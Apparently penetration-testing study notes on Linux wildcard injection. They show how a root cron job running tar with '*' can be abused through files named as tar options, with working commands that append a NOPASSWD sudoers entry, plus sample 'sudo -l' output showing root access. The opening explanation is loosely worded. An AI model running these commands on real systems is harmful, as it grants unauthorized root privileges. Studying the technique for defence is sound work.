71 lines
3.6 KiB
Markdown
71 lines
3.6 KiB
Markdown
|
||
## General
|
||
|
||
Wildcard vulnerabilities refer to a type of security vulnerability that occurs when a user or an application uses a wildcard character, such as an asterisk `(*)`, in a file path or command without properly validating the input. This can allow an attacker to manipulate the wildcard to access or execute unintended files or commands, potentially leading to privilege escalation or other security issues.
|
||
|
||
A wildcard character can be used as a replacement for other characters and are interpreted by the shell before other actions. Examples of wild cards include:
|
||
|
||
| character | Signification |
|
||
| --------- | ------------- |
|
||
| * | An asterisk that can match any number of characters in a file name. |
|
||
| ? | Matches a single character. |
|
||
| [] | Brackets enclose characters and can match any single one at the defined position. |
|
||
| ~ | A tilde at the beginning expands to the name of the user home directory or can have another username appended to refer to that user's home directory. |
|
||
| - | A hyphen within brackets will denote a range of characters. |
|
||
|
||
To prevent wildcard vulnerabilities, it is important to carefully validate user input and ensure that it does not contain wildcards or other potentially harmful characters. It is also a good idea to use strict permissions on system files and directories to prevent unauthorized access.
|
||
|
||
Example of vulnerability
|
||
Imagine that there is a bash script on a Linux machine that copies files from one directory to another as part of a backup process. The script takes a single argument, which is the path of the source directory. However, the script does not properly validate the input and allows wildcard characters, such as the asterisk (*).
|
||
ㅤ
|
||
An attacker could manipulate the input to include a wildcard, such as "*", which would match all files in the current directory. If the script is run from a directory with sensitive files, the attacker could use the wildcard to copy all of the files in the directory, potentially leading to data leakage or other security issues.
|
||
|
||
|
||
## Commands
|
||
|
||
Example of abusing the "tar" command
|
||
|
||
1. Looking at the man page
|
||
```
|
||
man tar
|
||
|
||
<SNIP>
|
||
Informative output
|
||
--checkpoint[=N]
|
||
Display progress messages every Nth
|
||
record (default 10).
|
||
--checkpoint-action=ACTION
|
||
Run ACTION on each checkpoint.
|
||
```
|
||
|
||
- The --checkpoint-action option permits an EXEC action to be executed when a checkpoint is reached (i.e., run an arbitrary operating system command once the tar command executes.) By creating files with these names, when the wildcard is specified, --checkpoint=1 and --checkpoint-action=exec=sh root.sh is passed to tar as command-line options.
|
||
|
||
2. Example cron job
|
||
```
|
||
#
|
||
#
|
||
mh dom mon dow command
|
||
*/01 * * * * cd /tmp && tar -zcf
|
||
/tmp/backup.tar.gz *
|
||
```
|
||
|
||
- Consider the following cron job, which is set up to back up the /root directory's contents and create a compressed archive in /tmp. The cron job is set to run every minute, so it is a good candidate for privilege escalation.
|
||
|
||
3. Leverage wildcard to write out the commands as file names to be executed
|
||
```
|
||
echo 'echo "cliff.moore ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
|
||
echo "" > "--checkpoint-action=exec=sh root.sh"
|
||
echo "" > --checkpoint=1
|
||
```
|
||
|
||
4. When the cron job runs again, check for the newly added permissions
|
||
```
|
||
sudo -l
|
||
|
||
Matching Defaults entries for cliff.moore on NIX02:
|
||
env_reset, mail_badpass,
|
||
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
|
||
|
||
User cliff.moore may run the following commands on NIX02:
|
||
(root) NOPASSWD: ALL
|
||
``` |